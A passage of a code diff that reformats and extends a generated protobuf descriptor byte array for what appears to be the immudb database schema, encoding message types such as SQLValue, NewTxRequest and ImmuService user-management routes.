0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, 0x0a, - 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, - 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, - 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, - 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, - 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, 0x4e, 0x65, 0x77, - 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, - 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, - 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, - 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, + 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, + 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, + 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, + 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, + 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, + 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, + 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, + 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, + 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, + 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x08, 0x53, + 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, + 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, 0x07, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, + 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, + 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, + 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, + 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, + 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, - 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, - 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, - 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, - 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, - 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, - 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, - 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, - 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, - 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, - 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, - 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, - 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, - 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, - 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, - 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, - 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, - 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, - 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, - 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, - 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, - 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xea, 0x32, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, - 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, - 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, - 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, - 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, + 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, + 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, + 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, + 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, + 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, + 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, + 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, + 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, + 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, + 0x44, 0x65, 0x6c, 0x61, 0x79, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, + 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, + 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, + 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, + 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, + 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, + 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, + 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, + 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, + 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, + 0x65, 0x10, 0x02, 0x32, 0xea, 0x32, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, + 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, + 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, + 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, + 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, + 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, + 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, + 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, - 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, - 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, - 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, - 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, - 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, - 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, - 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, - 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, - 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, - 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, - 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, - 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, - 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, - 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, - 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, - 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, - 0x12, 